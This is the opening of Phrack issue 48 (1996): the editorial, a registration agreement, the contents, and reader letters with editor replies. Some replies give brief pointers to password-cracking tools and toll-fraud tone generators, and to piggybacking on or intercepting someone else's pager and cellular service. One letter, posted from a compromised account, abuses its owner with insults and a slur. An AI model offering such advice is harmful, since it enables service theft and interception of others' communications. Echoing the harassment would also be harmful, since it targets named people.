14230 lines
618 KiB
Plaintext
14230 lines
618 KiB
Plaintext
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 1 of 18
|
||
|
||
Issue 48 Index
|
||
___________________
|
||
|
||
P H R A C K 4 8
|
||
|
||
September 1, 1996
|
||
___________________
|
||
|
||
~ WARNING! This is a TOP SECRET-MAGIC EYES ONLY document containing
|
||
compartmenalized information essential to the national security of the
|
||
United States. EYES ONLY ACCESS to the material herein is strictly
|
||
limited to personnel possessing MAGIC-12 CLEARANCE LEVEL. Examination
|
||
or use by unauthorized personnel is strictly forbidden and is punishable
|
||
by federal law. ~
|
||
|
||
|
||
Yes, it's the annual issue of Phrack you've all been waiting for,
|
||
hopefully you have kept your security clearances current. The delay has
|
||
been a long one, much longer than anyone would have liked. Obviously
|
||
Phrack was never meant to be put out so infrequently, but the
|
||
continual pressures of daily life have taken their toll on yet
|
||
another editor. Yes, those little things like going to work, paying
|
||
the rent and all the other hassles that interfere with putting out a
|
||
large quarterly hobbbyist publication.
|
||
|
||
It finally came down to three choices: keep the status quo and put out an
|
||
issue whenever, charge per issue, or get in some new blood. Obviously the
|
||
status quo sucked, and an issue a year was just unacceptable. Charging
|
||
everyone was even more unacceptable, even though "Information wants to
|
||
be $4.95." So, that left bringing in more people to help.
|
||
|
||
The hard thing was finding people worth bringing into the fold.
|
||
There was never any shortage of people who wanted to take over the
|
||
whole magazine, but it wasn't until three of them banded together and
|
||
volunteered to take over the main editorial nightmare that it looked
|
||
like there was a light at the end of the tunnel. Voyager, maintainer of
|
||
the #hack FAQ and editor of CoTNO, RedDragon editor of FeH and
|
||
continual discoverer of Linux root bugs, and Daemon9 admin of InfoNexus and
|
||
text file author extraordinaire, came forward en masse and said,
|
||
"We'll do it."
|
||
|
||
Most of you have no idea how hard it is to put out a magazine like Phrack
|
||
with any degree of regularity. You have to track down articles, answer
|
||
tons of mail, read all kinds of news, edit the articles (most of which
|
||
were written with English as a second languge,) maintain the mailing
|
||
list, maintain the WWW site, etc. Hopefully with all the new
|
||
people involved, the new division of labor will allow everyone to
|
||
contribute and put out a magazine in a very timely fashion. (And allow poor
|
||
old Erikb to rest easy knowing the magazine is being taken care of so
|
||
he can devote more time to being a puppet-like stooge of The Man.)
|
||
|
||
In any case, you've waited long enough...here's Issue 48.
|
||
|
||
-------------------------------------------------------------------------
|
||
|
||
READ THE FOLLOWING
|
||
|
||
IMPORTANT REGISTRATION INFORMATION
|
||
|
||
Corporate/Institutional/Government: If you are a business,
|
||
institution or government agency, or otherwise employed by,
|
||
contracted to or providing any consultation relating to computers,
|
||
telecommunications or security of any kind to such an entity, this
|
||
information pertains to you.
|
||
|
||
You are instructed to read this agreement and comply with its
|
||
terms and immediately destroy any copies of this publication
|
||
existing in your possession (electronic or otherwise) until
|
||
such a time as you have fulfilled your registration requirements.
|
||
A form to request registration agreements is provided
|
||
at the end of this file. Cost is $100.00 US per user for
|
||
subscription registration. Cost of multi-user licenses will be
|
||
negotiated on a site-by-site basis.
|
||
|
||
Individual User: If you are an individual end user whose use
|
||
is not on behalf of a business, organization or government
|
||
agency, you may read and possess copies of Phrack Magazine
|
||
free of charge. You may also distribute this magazine freely
|
||
to any other such hobbyist or computer service provided for
|
||
similar hobbyists. If you are unsure of your qualifications
|
||
as an individual user, please contact us as we do not wish to
|
||
withhold Phrack from anyone whose occupations are not in conflict
|
||
with our readership.
|
||
|
||
_______________________________________________________________
|
||
|
||
Phrack Magazine corporate/institutional/government agreement
|
||
|
||
Notice to users ("Company"): READ THE FOLLOWING LEGAL
|
||
AGREEMENT. Company's use and/or possession of this Magazine is
|
||
conditioned upon compliance by company with the terms of this
|
||
agreement. Any continued use or possession of this Magazine is
|
||
conditioned upon payment by company of the negotiated fee
|
||
specified in a letter of confirmation from Phrack Magazine.
|
||
|
||
This magazine may not be distributed by Company to any
|
||
outside corporation, organization or government agency. This
|
||
agreement authorizes Company to use and possess the number of copies
|
||
described in the confirmation letter from Phrack Magazine and for which
|
||
Company has paid Phrack Magazine the negotiated agreement fee. If
|
||
the confirmation letter from Phrack Magazine indicates that Company's
|
||
agreement is "Corporate-Wide", this agreement will be deemed to cover
|
||
copies duplicated and distributed by Company for use by any additional
|
||
employees of Company during the Term, at no additional charge. This
|
||
agreement will remain in effect for one year from the date of the
|
||
confirmation letter from Phrack Magazine authorizing such continued use
|
||
or such other period as is stated in the confirmation letter (the "Term").
|
||
If Company does not obtain a confirmation letter and pay the applicable
|
||
agreement fee, Company is in violation of applicable US Copyright laws.
|
||
|
||
This Magazine is protected by United States copyright laws and
|
||
international treaty provisions. Company acknowledges that no title to
|
||
the intellectual property in the Magazine is transferred to Company.
|
||
Company further acknowledges that full ownership rights to the Magazine
|
||
will remain the exclusive property of Phrack Magazine and Company will
|
||
not acquire any rights to the Magazine except as expressly set
|
||
forth in this agreement. Company agrees that any copies of the
|
||
Magazine made by Company will contain the same proprietary
|
||
notices which appear in this document.
|
||
|
||
In the event of invalidity of any provision of this agreement,
|
||
the parties agree that such invalidity shall not affect the validity
|
||
of the remaining portions of this agreement.
|
||
|
||
In no event shall Phrack Magazine be liable for consequential, incidental
|
||
or indirect damages of any kind arising out of the delivery, performance or
|
||
use of the information contained within the copy of this magazine, even
|
||
if Phrack Magazine has been advised of the possibility of such damages.
|
||
In no event will Phrack Magazine's liability for any claim, whether in
|
||
contract, tort, or any other theory of liability, exceed the agreement fee
|
||
paid by Company.
|
||
|
||
This Agreement will be governed by the laws of the State of Texas
|
||
as they are applied to agreements to be entered into and to be performed
|
||
entirely within Texas. The United Nations Convention on Contracts for
|
||
the International Sale of Goods is specifically disclaimed.
|
||
|
||
This Agreement together with any Phrack Magazine
|
||
confirmation letter constitute the entire agreement between
|
||
Company and Phrack Magazine which supersedes any prior agreement,
|
||
including any prior agreement from Phrack Magazine, or understanding,
|
||
whether written or oral, relating to the subject matter of this
|
||
Agreement. The terms and conditions of this Agreement shall
|
||
apply to all orders submitted to Phrack Magazine and shall supersede any
|
||
different or additional terms on purchase orders from Company.
|
||
|
||
_________________________________________________________________
|
||
|
||
REGISTRATION INFORMATION REQUEST FORM
|
||
|
||
|
||
We have approximately __________ users.
|
||
|
||
Enclosed is $________
|
||
|
||
We desire Phrack Magazine distributed by (Choose one):
|
||
|
||
Electronic Mail: _________
|
||
Diskette: _________ (Include size & computer format)
|
||
|
||
|
||
Name:_______________________________ Dept:____________________
|
||
|
||
Company:_______________________________________________________
|
||
|
||
Address:_______________________________________________________
|
||
|
||
_______________________________________________________________
|
||
|
||
City/State/Province:___________________________________________
|
||
|
||
Country/Postal Code:___________________________________________
|
||
|
||
Telephone:____________________ Fax:__________________________
|
||
|
||
|
||
Send to:
|
||
|
||
Phrack Magazine
|
||
603 W. 13th #1A-278
|
||
Austin, TX 78701
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
Enjoy the magazine. It is for and by the hacking community. Period.
|
||
|
||
|
||
Editors : Voyager, ReDragon, Daemon9
|
||
Mailboy : Erik Bloodaxe
|
||
3L33t : Mudge (See Below)
|
||
Short : Security Dynamics (NSDQ:SDTI) (See Above)
|
||
Myers-Briggs : ENTJ
|
||
News : Datastream Cowboy
|
||
Prison Consultants : Co / Dec, Tcon
|
||
Sick Sexy Horror Chick : Poppy Z. Brite
|
||
Thanks To : Cherokee, Damien Thorn, Boss Hogg, StaTiC,
|
||
Sendai, Steve Fleming, The Guild
|
||
Obi-1, Kwoody, Leper Messiah, Ace
|
||
SevenUp, Logik Bomb, Wile Coyote
|
||
Special Thanks To : Everyone for being patient
|
||
|
||
Phrack Magazine V. 7, #48, September 1, 1996. ISSN 1068-1035
|
||
Contents Copyright (C) 1996 Phrack Magazine, all rights reserved.
|
||
Nothing may be reproduced in whole or in part without written
|
||
permission. Phrack Magazine is made available quarterly to the
|
||
amateur computer hobbyist free of charge. Any corporate, government,
|
||
legal, or otherwise commercial usage or possession (electronic or
|
||
otherwise) is strictly prohibited without prior registration, and
|
||
is in violation of applicable US Copyright laws. To subscribe, send
|
||
email to phrack@well.com and ask to be added to the list.
|
||
|
||
Phrack Magazine
|
||
603 W. 13th #1A-278 (Phrack Mailing Address)
|
||
Austin, TX 78701
|
||
|
||
ftp.fc.net (Phrack FTP Site)
|
||
/pub/phrack
|
||
|
||
http://www.fc.net/phrack (Phrack WWW Home Page)
|
||
|
||
phrack@well.com (Phrack E-mail Address)
|
||
or phrackmag on America Online
|
||
|
||
Submissions to the above email address may be encrypted
|
||
with the following key : (Not that we use PGP or encourage its
|
||
use or anything. Heavens no. That would be politically-incorrect.
|
||
Maybe someone else is decrypting our mail for us on another machine
|
||
that isn't used for Phrack publication. Yeah, that's it. :) )
|
||
|
||
** ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED **
|
||
|
||
Phrack goes out plaintext...you certainly can subscribe in plaintext.
|
||
|
||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||
Version: 2.3a
|
||
|
||
mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy
|
||
ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi
|
||
a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR
|
||
tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==
|
||
=q2KB
|
||
|
||
-----END PGP PUBLIC KEY BLOCK-----
|
||
|
||
|
||
-= Phrack 48 =-
|
||
Table Of Contents
|
||
~~~~~~~~~~~~~~~~~
|
||
1. Introduction by the Editorial Staff 13 K
|
||
2. Phrack Loopback / Editorial 55 K
|
||
3. Line Noise (Part I) 63 K
|
||
4. Line Noise (Part II) 51 K
|
||
5. Phrack Pro-Philes on the New Editors 23 K
|
||
6. Motorola Command Mode Information by Cherokee 38 K
|
||
7. Tandy / Radio Shack Cellular Phones by Damien Thorn 43 K
|
||
8. The Craft Access Terminal by Boss Hogg 36 K
|
||
9. Information About NT's FMT-150/B/C/D by StaTiC 22 K
|
||
10. Electronic Telephone Cards (Part I) 39 K
|
||
11. Electronic Telephone Cards (Part II) 66 K
|
||
12. Keytrap Revisited by Sendai 13 K
|
||
13. Project Neptune by Daemon9 52 K
|
||
14. IP-Spoofing Demystified by Daemon9 25 K
|
||
15. Netmon by Daemon9 21 K
|
||
16. The Truth...and Nothing but the Truth by Steve Fleming 19 K
|
||
17. International Scenes by Various Sources 33 K
|
||
18. Phrack World News by Datastream Cowboy 21 K
|
||
|
||
Total: 633 K
|
||
|
||
_______________________________________________________________________________
|
||
|
||
|
||
"The culture of criminal hackers seems to glorify behavior which would be
|
||
classified as sociopathic or frankly psychotic."
|
||
(Mich Kabay, director of education, NCSA, NCSA News, June 1996)
|
||
|
||
"The Greek word 'diarrhein,' which means 'to flow through,' describes
|
||
diarrhea very well."
|
||
(Gross-ology by Sylvia Branzei, Planet Dexter, 1996)
|
||
|
||
"Fuck you, clown!"
|
||
(Thee Joker, Defcon IV, July 28, 1996)
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 2 of 18
|
||
|
||
Phrack Loopback
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
This is a response to the letter from KoV included in "Line Noise
|
||
Part I" from Phrack #47. After reading this open letter, I nearly died of
|
||
laughter. The inaccuracies of KoV's story were numerous and comical.
|
||
However, from the way KoV presented themselves, they are acting as if
|
||
it was their BBS network and a government conspiracy that has gotten
|
||
them into trouble. As a result, they will appear to many as a
|
||
wrongfully persecuted group of computer users.
|
||
|
||
Apparently, KoV likes to fancy themselves as a group that
|
||
spread "open-minded" and "sociopolitical" beliefs through their BBS
|
||
network, KoVNet. They claim that they "questioned [the] authority" of
|
||
those who "tried to oppress [their] free-thinking minds." They then
|
||
state that this caused the "AmeriKKKan" government to monitor their
|
||
actions, "stalk [them] in public places", and and attempt to destroy
|
||
them "from the moment of KoV's conception."
|
||
|
||
This is ridiculous. First off, their BBS network was not
|
||
enough to cause the government to stalk them in public. If a BBS
|
||
network that contains disdain for the American government justifies
|
||
the stalking of its users, then NUMEROUS people in this country are
|
||
currently being followed in public. Therefore, KoV's claim about
|
||
their threatening BBS network is an attempt to make
|
||
themselves look bigger and more important than they were.
|
||
|
||
Now, let us look at the real reason they are facing legal
|
||
actions. KoV is blaming "false accusations from a local university"
|
||
for their troubles. However, the accusations are not false and
|
||
after you read what led them to be caught, you will reallize that KoV
|
||
was never a threat to the government.
|
||
|
||
I do not know exactly how many universities they hacked.
|
||
However, if it is one local university as they claim, it is Skidmore
|
||
in Saratoga Springs NY, the university which I attend. I myself have played
|
||
around with Skidmore's computers and do not feel any loyalty or
|
||
patriotism to my school. Therefore, it is not a grudge I am harboring
|
||
against KoV for hacking Skidmore's system that is causing me to write
|
||
this. It is merely the fact that KoV is distorting the truth in an
|
||
attempt to turn themselves into martyrs.
|
||
|
||
Personally, I cannot blame anyone for breaking into Skidmore's
|
||
system. Since Skidmore was relatively new to the Internet, their
|
||
security was very lax making it very easy to explore and play around
|
||
with the system. If KoV had any knowledge whatsoever, they would not have
|
||
been caught or even detected by Skidmore. It was their egos and lack
|
||
of knowledge that led to their investigation. I myself saw with my
|
||
own eyes how they were detected.
|
||
|
||
The system that was hacked by KoV was wopr.skidmore.edu.
|
||
Well, one day I took a look at the system logs for WOPR and saw "root
|
||
login from [some out of domain ip address]" standing out quite well.
|
||
If KoV was really so Knowledgable and dangerous, wouldn't they know how to
|
||
edit system logs? However, they did not which shows KoV is another
|
||
example of people who managed to obtain root access and did not know
|
||
what to do with it.
|
||
|
||
Some people would think, "Big deal! Just because they didn't
|
||
edit the system logs does not mean that they could ever be linked to
|
||
the crime." This is very true. However, this would have required KoV
|
||
to keep their mouths shut about the incident. Yet, they did not.
|
||
Apparently, Lord Valgamon made a post to some of the BBS networks he
|
||
frequented where he showed off about hacking Skidmore and told
|
||
everyone how he did it.
|
||
|
||
This hurt KoV greatly. As a result, a narc on the BBS network
|
||
alerted CERT about Lord Valgamon's claims who, in turn, reported the
|
||
incident to Skidmore. This caused Skidmore to now have a name, though
|
||
anonymous, to apply to the break in. Consequently, the proper
|
||
authorities became involved and they began to track down Lord Valgamon
|
||
on the BBS networks.
|
||
|
||
From the above facts, you can probably guess that the
|
||
"AmeriKKKan" government would never have a special interest in KoV
|
||
because they are the typical stereotype of an "ELiTE M0DeM d00d." If
|
||
Lord Valgamon and KoV had kept their mouths shut about the incident,
|
||
they never would have been caught. However, KoV needed to tell their
|
||
ELiTE BBS scene how bad-ass they were and, as a result, their
|
||
bad-asses are getting spanked hard.
|
||
|
||
KoV had not done any crime or brought up any controversy
|
||
against the government. Their only crime was that they were stupid.
|
||
I understand that KoV is now asking for the support of the h/p and
|
||
political groups in the scene. However, I would not recomend anyone
|
||
to give them support. There was no government conspiracy against KoV
|
||
and everything that has happened to them was brought on by their own
|
||
stupidity. Do not turn a bunch of egotistical and immature criminals
|
||
into martyrs. I will end this with the same words KoV started their
|
||
letter with: "Don't believe the hype." - Public Enemy.
|
||
|
||
Sincerely,
|
||
Mr. Sandman
|
||
|
||
[ Wow. Well, we always like to hear all sides to any story, and each
|
||
time something gets published that gets under someone else's skin, we
|
||
inevitably do. Thanks for writing! ]
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Hello!
|
||
|
||
Let me tell some words about myself. Computers and
|
||
telecommunications take quite important place in my life. In
|
||
past I worked as a programmer, system administrator and finally
|
||
I ran my own business selling computer hardware (now I have
|
||
closed this business because I have lost my interest for trade
|
||
and due to some financial reasons). I owned my own BBS for
|
||
several years but now I have it shut down because I do not want
|
||
support lamers leeching files 2-3 years old and having no ideas
|
||
what email is. Now almost every day I spent many hours reading
|
||
Internet newsgroups, mainly dedicated to phreaking/hacking.
|
||
|
||
A friend of mine, gave me some Phrack issues (newest was #42 of 1993).
|
||
I have read them and like them very much.
|
||
|
||
If it is possible, please drop me a line how could I subscribe
|
||
to Phrack magazine. If you do, please encrypt your reply and
|
||
send it via anonymous remailer, because now Russian government
|
||
begun to control email messages very thoroughtly.
|
||
|
||
I have private information from friend Internet provider about
|
||
the FAPSI (Federal Agency of Government Communications and
|
||
Information -- some form of Russian NSA/FCC hybrid formed from
|
||
ex-KGB agents) actions aimed to control data passed through
|
||
Internet channels in Russia. FAPSI ordered all Internet
|
||
providers in St.Petersburg to install software which task will
|
||
be to copy all messages addressed to/from persons which FAPSI
|
||
interested in and to scan for some keywords specified by FAPSI.
|
||
|
||
Providers will get their licences for providing communication
|
||
service only after installing such spy software. There is a
|
||
rumour that FAPSI has installed hidden microphones (bugs) in
|
||
providers' offices to control any "illegal" activity (free
|
||
information exchange always was illegal in USSR/Russia). I say
|
||
"rumour" because I have heared it only from one trusted source,
|
||
other information came from several trusted sources
|
||
simultaneously.
|
||
|
||
BTW, using a PGP is illegal in Russia too, because FAPSI can not
|
||
break the PGP-encrypted messages.
|
||
|
||
If you find information written above meaningful, you may use it
|
||
in your own discretion but with some precautions -- remember
|
||
that country I live in have barbaric laws and Russian
|
||
Police/Security Services have _absolute_ power to put in jail
|
||
anyone they want without any court or warrant.
|
||
|
||
[ Normally I strip out all anonymous remailers, because they
|
||
interfere with the bulk mailing process, bounce mail, and generally
|
||
screw things up...however, there are always exceptions.
|
||
|
||
The FAPSI requirements are extremely interesting to hear about. It
|
||
certainly makes sense, and I fear that our country is likewise heading
|
||
towards that goal.
|
||
|
||
If you get the chance, you ought to write more about being a hacker
|
||
in your country, since I am sure the rest of the world would be
|
||
fascinated by it. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Greetings...
|
||
|
||
I looking for just a nibble of information...
|
||
|
||
When one logs into a remote system and gets login and passwords questions
|
||
how does one write a program to crack a password...
|
||
|
||
I'm sure that is not an easy question or even a nibble perhaps a byte...
|
||
|
||
Seeking Info,
|
||
SPY
|
||
|
||
[ Well, I can't tell you how to write a program to crack passwords
|
||
without knowing what kind of system you want to crack passwords for.
|
||
|
||
I can't tell you how to say "Where is the bathroom" in a foreign
|
||
language without first knowing what language you want to say it in.
|
||
|
||
If you are talking about UNIX passwords, there are already numerous
|
||
programs written to "crack" passwords. I would suggest you go poke around
|
||
and look for programs like "crack" or "killer cracker." If you
|
||
can't find reference to either of these on the net, then you really
|
||
ought to consider finding a new hobby. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Wuzup! I have a pager that I don't use anymore because I can't afford the
|
||
bill. So I was wondering if there is anyway I can hook-up my pager for free
|
||
without going through a paging service.
|
||
|
||
[ Depending upon the pager, you can possibly change or add capcodes through
|
||
special programming software. Almost all Motorola pagers allow you to do
|
||
this.
|
||
|
||
This won't allow you to "really" get free service, but you can piggy back
|
||
on top of some known person's pager service (or just intercept their pages.)
|
||
|
||
The only way to get "free" service is to reactivate the pager's current
|
||
capcode in the paging system from the local provider who owns the frequency
|
||
the pager is crystaled for. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
I was browsing through Issue 47, and saw something that had caught
|
||
my eye.
|
||
|
||
|
||
""THE HACKER WAR -- LOD vs MOD"
|
||
|
||
This t-shirt chronicles the infamous "Hacker War" between rival
|
||
groups The Legion of Doom and The Masters of Destruction. The front
|
||
of the shirt displays a flight map of the various battle-sites
|
||
hit by MOD and tracked by LOD. The back of the shirt
|
||
has a detailed timeline of the key dates in the conflict, and
|
||
a rather ironic quote from an MOD member."
|
||
|
||
A few weeks ago, I read the book Masters of Deception, a book about
|
||
the "war". Wasn't the name of the rival group Masters of Deception?
|
||
I assume that Erik would know, he appeared to be the main "villain" in
|
||
this version of the story. Any response would be appreciated.
|
||
|
||
|
||
[ I was the villain? Well corn my pone.
|
||
|
||
In any case, you should always take everything you read with a grain of
|
||
salt. In my opinion, the book was a piece of shit. Since many of the
|
||
MOD members decided to viciously attack the author, Josh Quittner, posing
|
||
as the ILF, I can only assume that they felt likewise.
|
||
|
||
So you decide for yourself about all that. Oh, and buy the damn
|
||
t-shirt. http://www.fc.net/phrack/shirts.html ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
Hi Can you teach me to be a hacker i think that that would be cool so what do
|
||
you think can you teach me to be a hacker and to be cool you are one of the
|
||
biggest hackers in the world
|
||
|
||
[ No, I'm afraid as one of the biggest hackers in the world, I'm far too
|
||
important to expend any energy on the likes of you.
|
||
|
||
Now go back to your PlayStation and get better at Toshinden. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
Where culd i find some zipped red box tones? Or blue box.
|
||
CyberOptik
|
||
|
||
[ Make your own tones with the Blue Beep program.
|
||
|
||
Follow some of the links from the Phrack Home page, and you should
|
||
find this program on any number of sites. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Hallo, din Gamle <20>rn!!
|
||
(Norwegian for: Hello, you Old Eagle!!(direct.translated.)
|
||
(<28>rn(Eagle) is pronounced like: earn ) End of Norw. lesson.
|
||
|
||
This is a question from one viking to another; I am a newbie in the H/P
|
||
division so I spend my days(and nights!) dwnloading all i can find about the
|
||
subject. But I do have some problems with the cellular phone system over
|
||
here, NMT 900. Which your system AMPS have stolen all the good parts from!
|
||
Untill last year i could program my cellular phone, Ericsson NH 99, by
|
||
programming and switching the 27c512 prom. But now the norwegian
|
||
telecompany Telenor Mobil has inserted pin codes, i.e. if my cellular phone
|
||
number used to be 12 34 56 78 (we have 8 digits), then my phone number now
|
||
has changed to 12 34 56 78 XX X. Where the 3 last digits are unknown to the
|
||
owner of the phone.
|
||
|
||
I do have programs and cables for programming the phone with all 8+3 digits,
|
||
but then I have to know the 3 digits, the pin code, and I do NOT know how
|
||
to download them from the cellular traffic going around my place. Can you
|
||
help me beat the system? How do I dwnload the pin code???? I read that they
|
||
are going to use the same system i the N.Y. area within this year, so someone
|
||
is going to ask you these qst. sooner or later. Be prepared! Or is my qst.
|
||
old news? Maybe everyone knows how to do this? Exept the norwegian newbie....
|
||
|
||
Vennlig hilsen
|
||
(thats:Best regards)
|
||
|
||
Stian(Mr.Phonee) Engerud
|
||
|
||
[ I'm not sure I understand how the last 3 digits can be unknown to the
|
||
owner of the phone. If your number changes, then obviously you have to
|
||
know the new number. Are you sure this isn't just a touch-tone PIN
|
||
entered in when you use phone, like systems over here in the states?
|
||
|
||
If it is, then you'll still need some kind of ESN reader, or other means
|
||
to decode the reverse channel, and a 900 mhz-capable radio and a touch-tone
|
||
decoder to grab the PINS as well. It's incredibly annoying.
|
||
|
||
On another note, I thought Telenor Mobil had AMPS, ETACS and GSM systems
|
||
in place. Have they upgraded their ETACS systems as well? If not,
|
||
use those. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
From: zadox@mindspring.com (Ron Zalkind)
|
||
Subject: Phrack Magazine: Strategic Marketing Partnership
|
||
|
||
I'm one of the principals of a new Internet-based, second-generation,
|
||
Information Technology service. This new Internet service debuted last week
|
||
at the Culpepper Forum in Atlanta. I'd like to propose a strategic marketing
|
||
partnership with Phrack Magazine. This proposal will spell out what it is
|
||
our service does (including a product demo), how we think a partnership with
|
||
Phrack Magazine might work, and how we can all increase profits by doing so.
|
||
Please reply to this E-mail with the name and E-mail address of the
|
||
'director of online strategy', or the 'circulation director', for Phrack
|
||
Magazine. Thank you.
|
||
|
||
Ron Zalkind, President
|
||
R.E. Zalkind & Co. Inc.
|
||
Voice: 770-518-1600
|
||
Fax: 770-642-0802
|
||
E-mail: zadox@mindspring.com (Ron Zalkind)
|
||
Ron Zalkind
|
||
|
||
[ WOW! I can't wait to hook up with THESE incredibly savvy people
|
||
so Phrack can dramatically increase our profits. Let's see, if we
|
||
make any money, we'll see a 100% increase! It's a no-lose
|
||
situation.
|
||
|
||
Man, I hate Internet mass-mailers. Don't these people attempt to qualify
|
||
their leads even a LITTLE? Strategic Marketing Opportunities with
|
||
free computer hacker magazines? Ron? Hello? ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
First of all, great work on the 'zine all these years, hope to see 48
|
||
soon.
|
||
|
||
I have an article from "Airman" magazine (I believe it was the April
|
||
1996 issue), the US Air Force magazine given to military members. It
|
||
details the efforts of AFOSI (Air Force Office of Special Investigations)
|
||
to prevent hackers from breaking in to military computers. Considering
|
||
it's coming from the military, it's not too badly written (the author
|
||
actually knew the difference between "crackers" and "hackers"). I don't
|
||
have a scanner, but I'd be more than willing to snail mail it to you. I
|
||
just wanted to check and see if you guys already had it of not. If you
|
||
don't, let me know, and I'll get it to you ASAP.
|
||
|
||
Keep up the good work....
|
||
|
||
[ We would definately like to see the text from this article. Please
|
||
forward it!
|
||
|
||
In fact, if any of you readers ever come across ANYTHING you think is cool,
|
||
email it to us, or snail mail it. We love getting mail.
|
||
We will print anything cool. (And a lot of lame things too!)
|
||
|
||
Just stop sending us credit histories and password files. :) ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
need access to w.gov xxx now
|
||
|
||
[ w.gov? Uh, ok, let's see:
|
||
|
||
Reserved Domain (W-GOV-DOM)
|
||
|
||
Domain Name: W.GOV
|
||
|
||
Administrative Contact, Technical Contact, Zone Contact:
|
||
Internet Assigned Numbers Authority (IANA) iana@isi.edu
|
||
(310) 822-1511
|
||
|
||
Record last updated on 02-Dec-93.
|
||
Record created on 01-Dec-93.
|
||
|
||
|
||
Do you know what this means? Duh. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
From: health@moneyworld.com
|
||
Subject: Scientific Discoveries Minimize Aging (DHEA)
|
||
|
||
http://dhea.natureplus.com
|
||
|
||
Take advantage of the amazing benefits of DHEA. In the search for the
|
||
FOUNTAIN OF YOUTH, DHEA is a must README. People, age 70, feeling and
|
||
acting 25.
|
||
|
||
Read the medical research at http://dhea.natureplus.com .A quote from
|
||
an article published by the New York Academy of Science written by Dr.
|
||
S.S.C.YEN;
|
||
"DHEA in appropriate replacement doses appears to have remedial effects
|
||
with respect to its ability to induce an anabolic growth factor, increase
|
||
muscle strength and lean body mass, activate immune function, and enhance
|
||
quality of life in aging men and women, with no significant adverse effects."
|
||
|
||
Regain the eye of the tiger! Don't wait ! Click on: http://dhea.natureplus.com
|
||
|
||
To terminate from the Health Catalog, Reply to health@moneyworld.com with
|
||
"remove" in the subject field. Bob Williams 206-269-0846
|
||
|
||
P.S. You will find a full line of Vitamin, Supplements and OTC Health
|
||
Catalog at http://natureplus.com.
|
||
|
||
[ Yet another Mass mailing! How many lame mailing lists are we on?
|
||
You have to wonder about these things.
|
||
|
||
But how angry can one get, knowing that DHEA is the FOUNTAIN OF YOUTH!
|
||
I need to get me some of that. A little DHEA, a little GHB, a little
|
||
DMT, and you'll look younger, feel younger, and have the brain of
|
||
a two year old.
|
||
|
||
And besides, Jesus loves acronyms. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Do you listen to 2nur radio? If so have you ever heard a band named
|
||
SOYLENT GREEN or GOITER on any of their shows?
|
||
please email me back
|
||
thanx,
|
||
Nick
|
||
|
||
[ Nick, I hate to break it to you, but:
|
||
|
||
SOYLENT GREEN IS PEOPLE!!!
|
||
IT'S PEOPLE!!!!! ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
From: Pete Shipley <shipley@dis.org>
|
||
To: best-of-security@suburbia.org, cert@cert.org, cudigest@sun.soci.niu.edu,
|
||
daddict@l5.com, dc-stuff@fc.net, dtangent@defcon.org,
|
||
emmanuel@2600.com, grayarea@gti.gti.net, letters@2600.com,
|
||
mycroft@fish.com, phrack@freeside.fc.net, phrack@well.sf.ca.us,
|
||
proff@suburbia.org, root@iss.net, root@l0pht.com, root@lod.com,
|
||
root@newhackcity.com, spaf@cs.purdue.edu, strat@uu.net,
|
||
will@command.com.inter.net, zen@fish.com
|
||
Subject: Shipley owned, hacked and thrashed
|
||
|
||
|
||
Please distribute this letter freely:
|
||
|
||
This posting is being made from dis.org, and this is not forged e-mail.
|
||
Even though this mail is coming from Peter Shipley's account, I am not him.
|
||
|
||
Who am I?
|
||
|
||
That is unimportant except to say that I cannot take anymore of the
|
||
"DoC" crowd's BULLSHIT. I would like to raise an issue with them, mostly
|
||
(but not all related to the incident at defcon).
|
||
|
||
To you drunken losers at defcon who had to fuck with Netta's speech (DoC
|
||
on hold here for a second, it wasn't just them): If you didn't want to hear
|
||
Netta's speech (though in your opinion it may be monotone, boring or even
|
||
wrong) you DIDN'T HAVE TO STAY AND LISTEN TO IT. There were some people that
|
||
WANTED to listen to the speech, but you all had to act like POMPOUS ELITIST
|
||
ASSES. How different are you now from a government that would like to
|
||
enforce censorship upon it's own people?
|
||
|
||
All I can say is "getbacks are a bitch". A few things to consider:
|
||
|
||
1. Shipley is an utter tool. His whole appearance is a front. If he's
|
||
such an awesome security specialist then why was he so easily owned? Also
|
||
I bring into question some of the motives he has for harassing Netta Gilboa.
|
||
Her boyfriend (who is currenlty in jail) was known for continually hacking
|
||
(yes CONTINUALLY hacking) Peter Shipley. I know this because I spoke with
|
||
Chris (n00gz) many times and was aware of this fact.
|
||
|
||
In my opinion Petey, anyone that is foolish enough to hire you to secure their
|
||
systems are idiots; whether it's the military, government, industry, a
|
||
business -- they should all just ask for their money back. You are a discredit
|
||
to your profession.
|
||
|
||
2. Shipley is a coward. Only cowards attack people weaker than them
|
||
but back away from a confrontation with someone of equal size or power.
|
||
Careful Peter -- next time don't piss off Bootleg, he might hurt that pretty
|
||
boy face of yours (though I admit, I would like to see it)
|
||
|
||
3. Hackman was a gob of shit. Peter Shipley has come to know his true
|
||
calling in life now (to wit: Webmaster).
|
||
|
||
4. The fangs make you look like a homo. Maybe you are (nothing against
|
||
them actually, just stating a fact).
|
||
|
||
